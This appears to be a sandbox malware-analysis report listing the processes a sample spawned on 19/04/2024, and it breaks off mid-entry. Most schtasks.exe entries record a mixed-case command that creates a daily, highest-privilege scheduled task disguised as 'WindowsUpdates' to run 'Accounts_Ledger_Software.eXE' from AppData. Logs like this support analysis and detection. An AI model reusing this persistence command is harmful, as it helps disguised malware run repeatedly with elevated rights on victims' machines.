Show Windows behavior

Target ID:	2
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:39 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:40 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:37:01
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:41 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:37:01
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:37:01
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:42 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:37:01
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:37:01
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:37:01
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:37:02
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:43 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x7ff75da10000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:37:02
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:37:02
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:44 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:37:02
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:37:02
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:45 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:37:02
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:37:02
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:46 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:37:02
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:37:03
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:47 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:37:03
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:37:03
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:37:03
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:37:03
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:48 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:37:03
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:37:03
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:49 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:37:03
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:37:04
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:50 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:37:04
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:37:04
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:51 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:37:04
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:37:04
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:52 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:37:04
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:37:04
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:53 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:37:04
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:37:05
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:53 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:37:05
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:37:05
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:54 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:37:05
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:37:05
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:55 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:37:05
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:37:05
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:56 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	11:37:05
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	11:37:06
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:57 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	11:37:06
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	11:37:06
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:01 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	11:37:06
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	11:37:06
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:07 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	11:37:06
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	11:37:07
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:13 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	11:37:07
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	11:37:07
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 12:17 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST
Imagebase:	0x830000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	11:37:07
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	11:37:07
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
